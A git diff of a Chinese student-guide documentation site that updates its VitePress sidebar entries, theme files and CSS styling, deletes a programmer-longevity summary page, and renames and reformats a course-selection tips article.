'4.6.5.1CV领域任务(研究目标)', link: '/4.人工智能/4.6.5.1CV领域任务(研究目标)' }, + { + text: '4.6.5.2CV中的数据预处理(torchvision)', + collapsed: true, + items: [ + { text: '4.6.5.2CV中的数据预处理(torchvision)', link: '/4.人工智能/4.6.5.2CV中的数据预处理(torchvision)' }, + { text: '4.6.5.2.1数据读取', link: '/4.人工智能/4.6.5.2.1数据读取' }, + { text: '4.6.5.2.2数据增强', link: '/4.人工智能/4.6.5.2.2数据增强' }, + ] + }, + { + text: '4.6.5.3CV中的经典网络', + collapsed: true, + items: [ + { text: '4.6.5.3CV中的经典网络', link: '/4.人工智能/4.6.5.3CV中的经典网络' }, + { text: '4.6.5.3.1AlexNet', link: '/4.人工智能/4.6.5.3.1AlexNet' }, + { text: '4.6.5.3.2FCN', link: '/4.人工智能/4.6.5.3.2FCN' }, + { text: '4.6.5.3.3ResNet', link: '/4.人工智能/4.6.5.3.3ResNet' }, + { text: '4.6.5.3.4UNet', link: '/4.人工智能/4.6.5.3.4UNet' }, + { text: '4.6.5.3.5GAN', link: '/4.人工智能/4.6.5.3.5GAN' }, + { text: '4.6.5.3.6思考题参考', link: '/4.人工智能/4.6.5.3.6思考题参考' }, + { text: '4.6.5.3.7还要学更多?', link: '/4.人工智能/4.6.5.3.7还要学更多?' }, + ] + }, + { + text: '4.6.5.4神经辐射场(NeRF)', + collapsed: true, + items: [ + { text: '4.6.5.4神经辐射场(NeRF)', link: '/4.人工智能/4.6.5.4神经辐射场(NeRF)' }, + { text: '4.6.5.4.1NeRF', link: '/4.人工智能/4.6.5.4.1NeRF' }, + { text: '4.6.5.4.2NeRF的改进方向', link: '/4.人工智能/4.6.5.4.2NeRF的改进方向' }, + { text: '4.6.5.4.3自制数据集的工具COLMAP', link: '/4.人工智能/4.6.5.4.3自制数据集的工具COLMAP' }, + ] + }, + { + text: '4.6.5.5行人重识别(ReID)', + collapsed: true, + items: [ + { text: '4.6.5.5行人重识别(ReID)', link: '/4.人工智能/4.6.5.5行人重识别(ReID)' }, + ] + }, + ] + }, + { + text: '4.6.6自然语言处理(NLP)', + collapsed: true, + items: [ + { text: '4.6.6自然语言处理(NLP)', link: '/4.人工智能/4.6.6自然语言处理(NLP)' }, + { text: '4.6.6.1NLP领域任务(研究目标)', link: '/4.人工智能/4.6.6.1NLP领域任务(研究目标)' }, + { + text: '4.6.6.2推荐系统', + collapsed: true, + items: [ + { text: '4.6.6.2推荐系统', link: '/4.人工智能/4.6.6.2推荐系统' }, + { text: '4.6.6.2.1推荐系统经典模型综述', link: '/4.人工智能/4.6.6.2.1推荐系统经典模型综述' }, + { + text: '4.6.6.2.2基于数据的角度,看待推荐系统的构造', + collapsed: true, + items: [ + { text: '4.6.6.2.2基于数据的角度,看待推荐系统的构造', link: '/4.人工智能/4.6.6.2.2基于数据的角度,看待推荐系统的构造' }, + { text: '4.6.6.2.2.1《推荐系统实践》读后的一些想法', link: '/4.人工智能/4.6.6.2.2.1《推荐系统实践》读后的一些想法' }, + { text: '4.6.6.2.2.2推荐系统概念解释 and 一个好的推荐系统', link: '/4.人工智能/4.6.6.2.2.2推荐系统概念解释 and 一个好的推荐系统' }, + { text: '4.6.6.2.2.3推荐系统实例', link: '/4.人工智能/4.6.6.2.2.3推荐系统实例' }, + { text: '4.6.6.2.2.4利用用户行为数据', link: '/4.人工智能/4.6.6.2.2.4利用用户行为数据' }, + { text: '4.6.6.2.2.5推荐系统冷启动', link: '/4.人工智能/4.6.6.2.2.5推荐系统冷启动' }, + { text: '4.6.6.2.2.6利用标签信息', link: '/4.人工智能/4.6.6.2.2.6利用标签信息' }, + { text: '4.6.6.2.2.7利用上下文信息', link: '/4.人工智能/4.6.6.2.2.7利用上下文信息' }, + ] + }, + { text: '4.6.6.2.3序列化推荐', link: '/4.人工智能/4.6.6.2.3序列化推荐' }, + ] + }, + { text: '4.6.6.3知识图谱', link: '/4.人工智能/4.6.6.3知识图谱' }, + ] + }, + { + text: '4.6.7Transformer', + collapsed: true, + items: [ + { text: '4.6.7Transformer', link: '/4.人工智能/4.6.7Transformer' }, + { text: '4.6.7.1VIT', link: '/4.人工智能/4.6.7.1VIT' }, + { text: '4.6.7.2BERT', link: '/4.人工智能/4.6.7.2BERT' }, + { text: '4.6.7.3MAE', link: '/4.人工智能/4.6.7.3MAE' }, + ] + }, + { + text: '4.6.8对比学习', + collapsed: true, + items: [ + { text: '4.6.8对比学习', link: '/4.人工智能/4.6.8对比学习' }, + { text: '4.6.8.1前言', link: '/4.人工智能/4.6.8.1前言' }, + { text: '4.6.8.2Inst Disc', link: '/4.人工智能/4.6.8.2Inst Disc' }, + { text: '4.6.8.3定义正负样本的方式', link: '/4.人工智能/4.6.8.3定义正负样本的方式' }, + { text: '4.6.8.4MoCo', link: '/4.人工智能/4.6.8.4MoCo' }, + { text: '4.6.8.5SimCLR', link: '/4.人工智能/4.6.8.5SimCLR' }, + { text: '4.6.8.6SwAV', link: '/4.人工智能/4.6.8.6SwAV' }, + { text: '4.6.8.7BYOL', link: '/4.人工智能/4.6.8.7BYOL' }, + { text: '4.6.8.8SimSiam', link: '/4.人工智能/4.6.8.8SimSiam' }, + { text: '4.6.8.9MoCo v3', link: '/4.人工智能/4.6.8.9MoCo v3' }, + { text: '4.6.8.10总结', link: '/4.人工智能/4.6.8.10总结' }, + ] + }, + { + text: '4.6.9深度强化学习', + collapsed: true, + items: [ + { text: '4.6.9深度强化学习', link: '/4.人工智能/4.6.9深度强化学习' }, + { text: '4.6.9.1前言', link: '/4.人工智能/4.6.9.1前言' }, + { text: '4.6.9.2基础资料推荐', link: '/4.人工智能/4.6.9.2基础资料推荐' }, + { text: '4.6.9.3基本概念介绍', link: '/4.人工智能/4.6.9.3基本概念介绍' }, + ] + } + ] + }, + { text: '4.7图网络略述(intro&GCN)', link: '/4.人工智能/4.7图网络略述(intro&GCN)' }, + { text: '4.8数据分析', link: '/4.人工智能/4.8数据分析' }, + { text: '4.9如何做研究', link: '/4.人工智能/4.9如何做研究' }, + { text: '4.10科研论文写作', link: '/4.人工智能/4.10科研论文写作' }, + { text: '4.11从 AI 到 智能系统 —— 从 LLMs 到 Agents', link: '/4.人工智能/4.11从 AI 到 智能系统 —— 从 LLMs 到 Agents' }, + { text: '4.12LLM Agent之结构化输出', link: '/4.人工智能/4.12LLMAgent之结构化输出' }, + { text: '4.13本章节内容的局限性', link: '/4.人工智能/4.13本章节内容的局限性' }, + { text: 'SRT社团介绍', link: '/4.人工智能/SRT' }, + { + text: 'FunRec', + collapsed: true, + items: [ + { text: 'FunRec概述', link: '/4.人工智能/FunRec概述' }, + { + text: '推荐系统概述', + collapsed: true, + items: [ + { text: '推荐系统的意义', link: '/4.人工智能/ch01/ch1.1.md' }, + { text: '推荐系统架构', link: '/4.人工智能/ch01/ch1.2.md' }, + { text: '推荐系统技术栈', link: '/4.人工智能/ch01/ch1.3.md' }, + ] + }, + { + text: '推荐系统算法基础', + collapsed: true, + items: [ + { + text: '经典召回模型', + collapsed: true, + items: [ + { + text: '基于协同过滤的召回', collapsed: true, items: [ + { text: 'UserCF', link: '/4.人工智能/ch02/ch2.1/ch2.1.1/usercf.md' }, + { text: 'ItemCF', link: '/4.人工智能/ch02/ch2.1/ch2.1.1/itemcf.md' }, + { text: 'Swing', link: '/4.人工智能/ch02/ch2.1/ch2.1.1/Swing.md' }, + { text: '矩阵分解', link: '/4.人工智能/ch02/ch2.1/ch2.1.1/mf.md' }, + ] + }, + { text: 'FM召回', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/FM.md' }, + { + text: 'item2vec召回系列', collapsed: true, items: [ + { text: 'word2vec原理', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/word2vec.md' }, + { text: 'item2vec召回', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/item2vec.md' }, + { text: 'Airbnb召回', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/Airbnb.md' }, + ] + }, + { text: 'YoutubeDNN召回', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/YoutubeDNN.md' }, + { + text: '双塔召回', collapsed: true, items: [ + { text: '经典双塔', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/DSSM.md' }, + { text: 'Youtube双塔', link: '/4.人工智能/ch02/ch2.1/ch2.1.2/YoutubeTwoTower.md' }, + ] + }, + { + text: '图召回', collapsed: true, items: [ + { text: 'EGES', link: '/4.人工智能/ch02/ch2.1/ch2.1.3/EGES.md' }, + { text: 'PinSAGE', link: '/4.人工智能/ch02/ch2.1/ch2.1.3/PinSage.md' }, + ] + }, + { + text: '序列召回', collapsed: true, items: [ + { text: 'MIND', link: '/4.人工智能/ch02/ch2.1/ch2.1.4/MIND.md' }, + { text: 'SDM', link: '/4.人工智能/ch02/ch2.1/ch2.1.4/SDM.md' }, + ] + }, + { + text: '树模型召回', collapsed: true, items: [ + { text: 'TDM', link: '/4.人工智能/ch02/ch2.1/ch2.1.5/TDM.md' }, + ] + } + ] + }, + { + text: '经典排序模型', + collapsed: true, + items: [ + { text: 'GBDT+LR', link: '/4.人工智能/ch02/ch2.2/ch2.2.1.md' }, + { + text: '特征交叉', collapsed: true, items: [ + { text: 'FM', link: '/4.人工智能/ch02/ch2.2/ch2.2.2/FM.md' }, + { text: 'PNN', link: '/4.人工智能/ch02/ch2.2/ch2.2.2/PNN.md' }, + { text: 'DCN', link: '/4.人工智能/ch02/ch2.2/ch2.2.2/DCN.md' }, + { text: 'AutoInt', link: '/4.人工智能/ch02/ch2.2/ch2.2.2/AutoInt.md' }, + { text: 'FiBiNET', link: '/4.人工智能/ch02/ch2.2/ch2.2.2/FiBiNet.md' }, + ] + }, + { + text: 'WideNDeep系列', collapsed: true, items: [ + { text: 'Wide&Deep', link: '/4.人工智能/ch02/ch2.2/ch2.2.3/WideNDeep.md' }, + { text: 'NFM', link: '/4.人工智能/ch02/ch2.2/ch2.2.3/NFM.md' }, + { text: 'AFM', link: '/4.人工智能/ch02/ch2.2/ch2.2.3/AFM.md' }, + { text: 'DeepFM', link: '/4.人工智能/ch02/ch2.2/ch2.2.3/DeepFM.md' }, + { text: 'xDeepFM', link: '/4.人工智能/ch02/ch2.2/ch2.2.3/xDeepFM.md' }, + ] + }, + { + text: '序列模型', collapsed: true, items: [ + { text: 'DIN', link: '/4.人工智能/ch02/ch2.2/ch2.2.4/DIN.md' }, + { text: 'DIEN', link: '/4.人工智能/ch02/ch2.2/ch2.2.4/DIEN.md' }, + { text: 'DSIN', link: '/4.人工智能/ch02/ch2.2/ch2.2.4/DSIN.md' }, + ] + }, + { + text: '多任务学习', collapsed: true, items: [ + { text: '多任务学习概述', link: '/4.人工智能/ch02/ch2.2/ch2.2.5/2.2.5.0.md' }, + { text: 'ESMM', link: '/4.人工智能/ch02/ch2.2/ch2.2.5/ESMM.md' }, + { text: 'MMOE', link: '/4.人工智能/ch02/ch2.2/ch2.2.5/MMOE.md' }, + { text: 'PLE', link: '/4.人工智能/ch02/ch2.2/ch2.2.5/PLE.md' }, + ] + } + ] + } + ] + } + ] + } + ] + }, + ] +} + +export function chapter5() { + return [ + { text: '返回上一层', link: '/简介' }, + { + text: '5.富有生命的嵌入式', + collapsed: false, + items: [ + { text: '5.富有生命的嵌入式', link: '/5.富有生命的嵌入式/5.富有生命的嵌入式' }, + { text: '5.1嵌入式是什么?可以吃吗?', link: '/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?' }, + { text: '5.2New meaning of C', link: '/5.富有生命的嵌入式/5.2New meaning of C' }, + { text: '5.3还玩裸机?上操作系统!', link: '/5.富有生命的嵌入式/5.3还玩裸机?上操作系统!' }, + ] + }, + ] +} + +export function chapter6() { + return [ + { text: '返回上一层', link: '/简介' }, + { + text: '6.计算机安全', + collapsed: false, + items: [ + { text: '6.计算机安全', link: '/6.计算机安全/6.计算机安全' }, + { + text: '6.1Web安全', + collapsed: true, + items: [ + { text: '6.1Web安全', link: '/6.计算机安全/6.1Web安全' }, + { text: '6.1.1SQL 注入', link: '/6.计算机安全/6.1.1SQL 注入' }, + ] + }, + { + text: '6.2二进制安全', + collapsed: true, + items: [ + { text: '6.2二进制安全', link: '/6.计算机安全/6.2二进制安全' }, + { text: '6.2.1基础工具的使用', link: '/6.计算机安全/6.2.1基础工具的使用' }, + { text: '6.2.2软件破解、软件加固', link: '/6.计算机安全/6.2.2软件破解、软件加固' }, + { text: '6.2.3漏洞挖掘、漏洞利用', link: '/6.计算机安全/6.2.3漏洞挖掘、漏洞利用' }, + ] + }, + { text: '6.3密码学', link: '/6.计算机安全/6.3密码学' }, + { text: '6.4安全杂项', link: '/6.计算机安全/6.4安全杂项' }, + { text: '6.5学习资料推荐', link: '/6.计算机安全/6.5学习资料推荐' }, + ] + }, + ] +} + +export function chapter7() { + return [ + { text: '返回上一层', link: '/简介' }, + { + text: '7.网络应用开发', + collapsed: false, + items: [ + { text: '7.网络应用开发入门', link: '/7.网络应用开发/7.网络应用开发入门' }, + { + text: '7.1WEB开发入门', + collapsed: true, + items: [ + { text: '7.1WEB开发入门', link: '/7.网络应用开发/7.1WEB开发入门' }, + { + text: '7.1.1前端部分', + collapsed: true, + items: [ + { text: '7.1.1前端部分', link: '/7.网络应用开发/7.1.1前端部分' }, + { text: '7.1.1.1基础部分', link: '/7.网络应用开发/7.1.1.1基础部分' }, + { text: '7.1.1.2进阶部分', link: '/7.网络应用开发/7.1.1.2进阶部分' }, + { text: '7.1.1.3附录1:前端介绍(详细版)', link: '/7.网络应用开发/7.1.1.3附录1:前端介绍(详细版)' }, + { text: '7.1.1.4附录2:大前端开发', link: '/7.网络应用开发/7.1.1.4附录2:大前端开发' }, + { text: '7.1.1.5附录3:跨端开发', link: '/7.网络应用开发/7.1.1.5附录3:跨端开发' }, + ] + }, + { + text: '7.1.2后端部分', + collapsed: true, + items: [ + { text: '7.1.2后端部分', link: '/7.网络应用开发/7.1.2后端部分' }, + { text: '7.1.2.1基础部分', link: '/7.网络应用开发/7.1.2.1基础部分' }, + { text: '7.1.2.2进阶部分', link: '/7.网络应用开发/7.1.2.2进阶部分' }, + ] + }, + ] + }, + ] + }, + ] +} + +export function chapter8() { + return [ + { text: '返回上一层', link: '/简介' }, + { + text: '8.基础学科', + collapsed: false, + items: [ + { text: '8.基础学科', link: '/8.基础学科/8.基础学科' }, + { text: '8.1经济学科普Part1', link: '/8.基础学科/8.1经济学科普Part1' }, + ] + } + ] +} + +export function chapter9() { + return [ + { text: '返回上一层', link: '/简介' }, + { + text: '9.计算机网络', + collapsed: false, + items: [ + { text: '9 计算机网络', link: '/9.计算机网络/9.计算机网络' }, + { text: '9.1 计网速通', link: '/9.计算机网络/9.1计网速通' }, + { text: '9.2.1 物理层' }, + { text: '9.2.2 链路层' }, + { + text: '9.2.3 网络层', + collapsed: true, + items: [ + { text: '9.2.3 网络层', link: '/9.计算机网络/9.2.3网络层' }, + { text: '9.2.3.1 IP 协议', link: '/9.计算机网络/9.2.3.1IP协议' }, + { text: '9.2.3.2 子网与无类域间路由', link: '/9.计算机网络/9.2.3.2子网与无类域间路由' } + ] + }, + ] + } + ] +} diff --git a/.vitepress/theme/Layout.vue b/.vitepress/theme/Layout.vue new file mode 100644 index 0000000..a4567b2 --- /dev/null +++ b/.vitepress/theme/Layout.vue @@ -0,0 +1,70 @@ + + + + + \ No newline at end of file diff --git a/.vitepress/theme/index.js b/.vitepress/theme/index.js index 9f551a4..d09f77a 100644 --- a/.vitepress/theme/index.js +++ b/.vitepress/theme/index.js @@ -2,28 +2,29 @@ import { h, watch } from 'vue' // import Theme from 'vitepress/theme' import DefaultTheme from 'vitepress/theme-without-fonts' +import Layout from './Layout.vue' import Download from '../../components/Download.vue' +import Bilibili from '../../components/Bilibili.vue' +import Parallax from '../../components/Parallax.vue' import './style.css' import './rainbow.css' let homePageStyle = undefined - export default { ...DefaultTheme, - Layout: () => { - return h(DefaultTheme.Layout, null, { - }) - }, + Layout: Layout, enhanceApp(ctx) { DefaultTheme.enhanceApp(ctx) ctx.app.component('Download', Download) + ctx.app.component('Bilibili', Bilibili) + ctx.app.component('Parallax', Parallax) if (typeof window === 'undefined') return watch( () => ctx.router.route.data.relativePath, - () => updateHomePageStyle(location.pathname === '/' || location.pathname === '/contributors.html'), + () => updateHomePageStyle(location.pathname === '/' || location.pathname === '/contributors'), { immediate: true }, ) }, diff --git a/.vitepress/theme/style.css b/.vitepress/theme/style.css index a19b5e8..a93ed8d 100644 --- a/.vitepress/theme/style.css +++ b/.vitepress/theme/style.css @@ -2,23 +2,37 @@ * Customize default theme styling by overriding CSS variables: * https://github.com/vuejs/vitepress/blob/main/src/client/theme-default/styles/vars.css */ -@import url('https://fonts.loli.net/css2?family=Noto+Color+Emoji&family=Noto+Sans+Mono:wght@400;500;600;700&family=Noto+Sans+SC:wght@400;500;700&display=swap'); /** * Colors * -------------------------------------------------------------------------- */ +@import url('https://fonts.googleapis.com/css2?family=Noto+Color+Emoji&family=Noto+Sans+Mono:wght@400;600;700&family=Noto+Sans+SC:wght@400;600;700&display=swap'); .dark .vp-doc a,#loading, .dark .vp-doc a>code, .dark .VPNavBarMenuLink.VPNavBarMenuLink:hover, .dark .VPNavBarMenuLink.VPNavBarMenuLink.active, .dark .link.link:hover, .dark .link.link.active, .dark .edit-link-button.edit-link-button, .dark .pager-link .title { - color: var(--vp-c-brand-lighter); + color: var(--vp-c-brand-3); +} + +/** + * 这个版本可能有 bug,build 后字体变不了还为 consolas 可能是我自己配的有问题 可能是这个版本拉了 总之就加个临时的 + * -------------------------------------------------------------------------- */ +code { + font-family: 'Noto Sans Mono', sans-serif, monospace, consolas !important; + font-weight: 400 !important; + font-size: 14px !important; } :root { - --vp-c-brand: #0dadc4; - --vp-c-brand-light: #1A9CED; - --vp-c-brand-lighter: #1CA8FF; - --vp-c-brand-lightest: #5EB2E6; - --vp-c-brand-dark: #0B52BF; - --vp-c-brand-darker: #015F8F; - --vp-c-brand-dimm: rgba(100, 108, 255, 0.08); + --vp-c-brand-1: #0dadc4; + --vp-c-brand-2: #1A9CED; + --vp-c-brand-3: #1CA8FF; + --vp-c-brand-soft: #5EB2E6; + --vp-code-copy-copied-text-content: '复制成功'; + --vp-code-color: rgba(60, 60, 67); + --vp-custom-block-tip-bg: rgba(100, 108, 255, 0.16) !important; + --vp-badge-tip-bg: rgba(100, 108, 255, 0.16) !important; +} + +.dark { + --vp-code-color: rgba(255, 255, 245, 0.86); } :root { @@ -31,15 +45,15 @@ * -------------------------------------------------------------------------- */ :root { - --vp-button-brand-border: var(--vp-c-brand-light); + --vp-button-brand-border: transparent; --vp-button-brand-text: var(--vp-c-white); - --vp-button-brand-bg: var(--vp-c-brand); - --vp-button-brand-hover-border: var(--vp-c-brand-light); + --vp-button-brand-bg: var(--vp-c-brand-3); + --vp-button-brand-hover-border: transparent; --vp-button-brand-hover-text: var(--vp-c-white); - --vp-button-brand-hover-bg: var(--vp-c-brand-light); - --vp-button-brand-active-border: var(--vp-c-brand-light); + --vp-button-brand-hover-bg: var(--vp-c-brand-2); + --vp-button-brand-active-border: transparent; --vp-button-brand-active-text: var(--vp-c-white); - --vp-button-brand-active-bg: var(--vp-button-brand-bg); + --vp-button-brand-active-bg: var(--vp-c-brand-1); } /** @@ -81,15 +95,10 @@ * -------------------------------------------------------------------------- */ :root { - --vp-custom-block-tip-border: var(--vp-c-brand); - --vp-custom-block-tip-text: var(--vp-c-brand-darker); - --vp-custom-block-tip-bg: var(--vp-c-brand-dimm); -} - -.dark { - --vp-custom-block-tip-border: var(--vp-c-brand); - --vp-custom-block-tip-text: var(--vp-c-brand-lightest); - --vp-custom-block-tip-bg: var(--vp-c-brand-dimm); + --vp-custom-block-tip-border: transparent; + --vp-custom-block-tip-text: var(--vp-c-text-1); + --vp-custom-block-tip-bg: var(--vp-c-brand-soft); + --vp-custom-block-tip-code-bg: var(--vp-c-brand-soft); } /** @@ -97,7 +106,7 @@ * -------------------------------------------------------------------------- */ .DocSearch { - --docsearch-primary-color: var(--vp-c-brand) !important; + --docsearch-primary-color: var(--vp-c-brand-1) !important; } mjx-container { @@ -116,7 +125,6 @@ mjx-container { opacity: 1; } - :root { --vp-home-hero-name-color: transparent; --vp-home-hero-name-background: -webkit-linear-gradient( @@ -185,4 +193,12 @@ mjx-container { user-drag: none !important; -webkit-user-drag: none !important; -moz-user-drag: none !important; +} + +.custom-block.tip code { + background-color: rgba(100, 108, 255, 0.14); +} + +mjx-container > svg { + display: inline-block; } \ No newline at end of file diff --git a/1.杭电生存指南/1.12程序员如何活久一点.md b/1.杭电生存指南/1.12程序员如何活久一点.md deleted file mode 100644 index 2bbbdcf..0000000 --- a/1.杭电生存指南/1.12程序员如何活久一点.md +++ /dev/null @@ -1,41 +0,0 @@ -# 程序员如何活久一点 -### 1. 术语 - -* ACM: All-Cause Mortality / 全因死亡率 - -### 2. 目标 - -* 稳健地活得更久 - -### 3. 关键结果 - -* 降低66.67%全因死亡率 -* 增加\~20年预期寿命 -* ~~维持多巴胺于中轴~~ - -### 4. 分析 - -* 主要参考:对ACM的学术文献相对较多,可以作为主要参考 -* 增加寿命与ACM关系非线性:显然增加寿命与ACM关系是非线性函数,这里假设 `DeltaLifeSpan=(1/(1+DeltaACM)-1)*10`(DeltaACM为ACM变化值;公式欢迎优化) -* 变量无法简单叠加:显然各个变量之间并不符合独立同分布假设,变量之间的实际影响也并不明确 -* 存在矛盾观点:所有的证据都有文献/研究对应,但注意到:有些文献之间有显著矛盾的观点(如对于碳水摄入比例的矛盾);有些文献存在较大争议(如认为22点前睡觉会提升43%全因死亡率) -* 研究仅表达相关:所有文献表明的更多是相关而非因果,在阅读时要考虑文献是否充分证明了因果 —— 如某文献表明了日均>=7000步的人有显著低的全因死亡率。但步数少的人可能包含更多长期病患,如果没有合理的排除这块数据,那此文献调查失真 - -### 5. 行动 - -* 输入 - * 固体:吃白肉(-11%\~-3% ACM)、蔬果为主(-26%\~-17% ACM),多吃辣(-23% ACM),多吃坚果(-27%\~-4% ACM),*少吃蛋黄(否则+7% ACM/0.5颗/天)(存在争议)*,中量碳水、多吃植物蛋白(-10% ACM),少吃超加工食物(-62%\~-18%) - * 液体:喝咖啡(-22%\~-12% ACM),喝牛奶(-17%\~-10% ACM),喝茶(-15%\~-8% ACM),少喝或不喝甜味饮料(否则每天一杯+7% ACM,+多巴胺),戒酒或每周100g(纯酒精量(g)=饮酒量(ml)×酒精浓度(%)×酒精密度0.8g/ml)内(否则+\~50% ACM,无上限) - * 气体:不吸烟(否则+~50% ACM,-12\~-11年寿命) - * 光照:晒太阳(-~40% ACM) - * 药物:二甲双胍(糖尿病人相比正常人可以+3年)、复合维生素(-8%癌症风险)、亚精胺(-60%\~-30% ACM)、葡萄糖胺(-39% ACM) -* 输出 - * 运动:每周3次45分钟挥拍运动(-47% ACM) - * 日常:刷牙(-25% ACM) - * 睡眠:每天睡7小时全因死亡率最低;且22-24点间最好,*早睡+43% ACM,晚睡+15% ACM(存在争议)* -* 上下文 - * 体重:减肥(-54% ACM) - -::: tip 🧑‍🍳 -全文 [程序员延寿指南 | A programmer's guide to live longer](https://github.com/geekan/HowToLiveLonger) -::: diff --git a/1.杭电生存指南/1.13选课原则与抢课技巧.md b/1.杭电生存指南/1.12选课原则与抢课技巧.md similarity index 63% rename from 1.杭电生存指南/1.13选课原则与抢课技巧.md rename to 1.杭电生存指南/1.12选课原则与抢课技巧.md index 969c6fb..d931140 100644 --- a/1.杭电生存指南/1.13选课原则与抢课技巧.md +++ b/1.杭电生存指南/1.12选课原则与抢课技巧.md @@ -1,33 +1,43 @@ # 选课原则与抢课技巧 > author: ek1ng -> -> 本文编写自2021.07.31,也许有些内容已经过时,请选择性参考。 +> +> 本文编写自 2021.07.31,也许有些内容已经过时,请选择性参考。 ## 选课原则 + ### 要选哪些课 + 在杭电,学生必须修读完培养计划上所有的课程才能够毕业,因此选课遵循的唯一纲要便是培养计划,一切以培养计划上的要求为准,体育课、通识必修课、通识选修课、专业选修课、专业必修课等等,请注意任何选课尽可能请以培养计划的课程代码为准,若课程代码不同则需要通过课程替代等方式。 + ### 为什么要选课 + 选课其实是选老师,而选择的选课老师的背后则是课程考核方式、给分高低、成绩占比、课堂签到情况等等。选择正确的老师能够使课堂更加符合你的预期,不论是教学质量还是教学方式亦或期末分数上。 在讨论之前,必须声明一些学校课程的基本要求,例如学校要求老师采取易班点名的方式,所以除了某些老师以外大多数老师都会采取不定次数的课堂点名以及点教室人头的方式作为考核考勤情况的方式。 + ### 学校开什么课 -学校开展体育课(大一大二4学期分别修读不同类别的体育课程4次)、通识选修课 ~~(通常各专业需要修读人文类、国际类、科技类学分4、4、2个)~~ + +学校开展体育课(大一大二 4 学期分别修读不同类别的体育课程 4 次)、通识选修课 ~~(通常各专业需要修读人文类、国际类、科技类学分 4、4、2 个)~~ :::warning -2023年更新:现在是国际类、人文类、艺术类、科技类学分4、2、2、2个(不管怎么变应该加起来都是10分) +2023 年更新:现在是国际类、人文类、艺术类、科技类学分 4、2、2、2 个(不管怎么变应该加起来都是 10 分) ::: + ### 选什么课好 -在杭电换客群或者与认识的室友、同学、朋友等等交流开展某课程的某老师教学情况,打听情报以选择合适的老师。此处的情报通常指老师的教学方式如何,采取怎样的签到方式等等。如果曾经上过某老师开展的a课程,那么通常对于他开展的b课程,签到情况和给分情况都仍然能够适用,但是教学情况则未必。 -### 常见问题Q&A + +在杭电换客群或者与认识的室友、同学、朋友等等交流开展某课程的某老师教学情况,打听情报以选择合适的老师。此处的情报通常指老师的教学方式如何,采取怎样的签到方式等等。如果曾经上过某老师开展的 a 课程,那么通常对于他开展的 b 课程,签到情况和给分情况都仍然能够适用,但是教学情况则未必。 + +### 常见问题 Q&A + Q1:我该如何安排我这一学期的课程? A1:尽可能按照培养计划给出的每学期修读建议修读,适当先在大一、大二修读通识选修、体育课以及适量的专业必修专业选修,在大三修读更多的专业课程。当然如果完全打乱培养计划在杭电也是完全允许的,你完全可以在大一、大二修读大三的课程,在大三修读大一的课程,这么做的意义也许是你希望通过修读课程顺序的改变来调整你个人的时间安排,不论如何这是符合学校规章制度的操作,只要你想你就可以这么做。 Q2:选课所谓第一轮选课第二轮选课到底是如何进行的? -A2:第一轮选课可以选择的课为体育课、通识选修课(英语拓展课、大学军事、公选课都包括在内)、推荐课表上的课程。第二轮选课可以跨年级跨学院跨专业选课,只要能搜到的课都是可以上的,不过请注意,思修近代史毛概马原形策等课程并不能提前修读。第二轮选课通常进行到开学后3周,在开学前3周,可以通过签课的方式即在授课老师、学院的批准通过下选上自己没有抢到的课,理论上任何课(需要注意公选课、体育课一般无法签课,老师是否同意签课通常看老师的个人情况,学院通常会在老师批准的情况下通过批准)只要经过批准都可以签课成功后出现在课表上。请注意,学分上限为32.5(不包括暑假短学期课程),转专业后学分上限自动扩为40,若非转专业学生可以在绩点3.0以上的情况下开学前3周内提出扩学分请求。 +A2:第一轮选课可以选择的课为体育课、通识选修课(英语拓展课、大学军事、公选课都包括在内)、推荐课表上的课程。第二轮选课可以跨年级跨学院跨专业选课,只要能搜到的课都是可以上的,不过请注意,思修近代史毛概马原形策等课程并不能提前修读。第二轮选课通常进行到开学后 3 周,在开学前 3 周,可以通过签课的方式即在授课老师、学院的批准通过下选上自己没有抢到的课,理论上任何课(需要注意公选课、体育课一般无法签课,老师是否同意签课通常看老师的个人情况,学院通常会在老师批准的情况下通过批准)只要经过批准都可以签课成功后出现在课表上。请注意,学分上限为 32.5(不包括暑假短学期课程),转专业后学分上限自动扩为 40,若非转专业学生可以在绩点 3.0 以上的情况下开学前 3 周内提出扩学分请求。 :::warning -2023年更新:学分上限好像变高了,但我忘了是多少🤡 +Update: 新系统学分上限为 36,扩学分后上限为 40。 ::: Q3:大一上如何选课? @@ -35,20 +45,29 @@ Q3:大一上如何选课? A3:大一上选课的安排在最后时间段,体育被默认选了太极拳,并选不到“好”的公选课专业课等等,不太建议选很多课,选一门新生研讨课或者推荐不选课。 ## 抢课技巧 + ### 选课背景 -2021年上学期的选课中,杭电更换了正方全新的选课平台http://newjw.hdu.edu.cn ,目前选课平台的特性为,在选课时间内开放至公网ip可以访问,可以并发请求,~~并不会网页卡崩~~,抢课全靠手速。 + +2021 年上学期的选课中,杭电更换了正方全新的选课平台 ,目前选课平台的特性为,在选课时间内开放至公网 ip 可以访问,可以并发请求,~~并不会网页卡崩~~,抢课全靠手速。 + :::tip -1. 鉴于杭电复杂的网络环境,在**内网**抢课甚至不如**公网**😅,所以建议在寝室里连上网线(公网)抢课。 +鉴于杭电复杂的网络环境,在**内网**抢课甚至不如**公网**😅,所以建议在寝室里连上网线(公网)抢课。 -2. **网页会卡崩**,刚开始选课0~5分钟系统会未响应甚至将你踢出登录,还会让你浏览器爆掉显示 *欧呦,崩溃啦* 之类的字样,一切听天由命。 +1. **网页会卡崩**,刚开始选课 0~5 分钟系统会未响应甚至将你踢出登录,还会让你浏览器爆掉显示 *欧呦,崩溃啦* 之类的字样,一切听天由命。 ::: -## 具体技巧 -#### 系统开放前 -通常系统开放前可以查询开课情况,那么可以根据开课情况自己提前规划安排想上的课程。 -#### 系统开放时 -##### 第一轮选课、第二轮选课开放系统时 +## 具体技巧 + +### 系统开放前 + +通常系统开放前可以查询开课情况,那么可以根据开课情况自己提前规划安排想上的课程。 + +### 系统开放时 + +#### 第一轮选课、第二轮选课开放系统时 + 提前在粘贴板中剪切/复制第一手要抢的课程,并且在选课平台开放时间前几秒,不停点击刷新,直至选课平台显示的内容不为非选课时间而是可以搜索,粘贴课程名并且点击抢课即可第一手抢到最想抢的课程,再依次抢接下来准备上的课。若课表上已经被系统默认选的课占了想要选的课的位置,那么就需要先退课再选课。 -##### 假期以及开学前三周 +#### 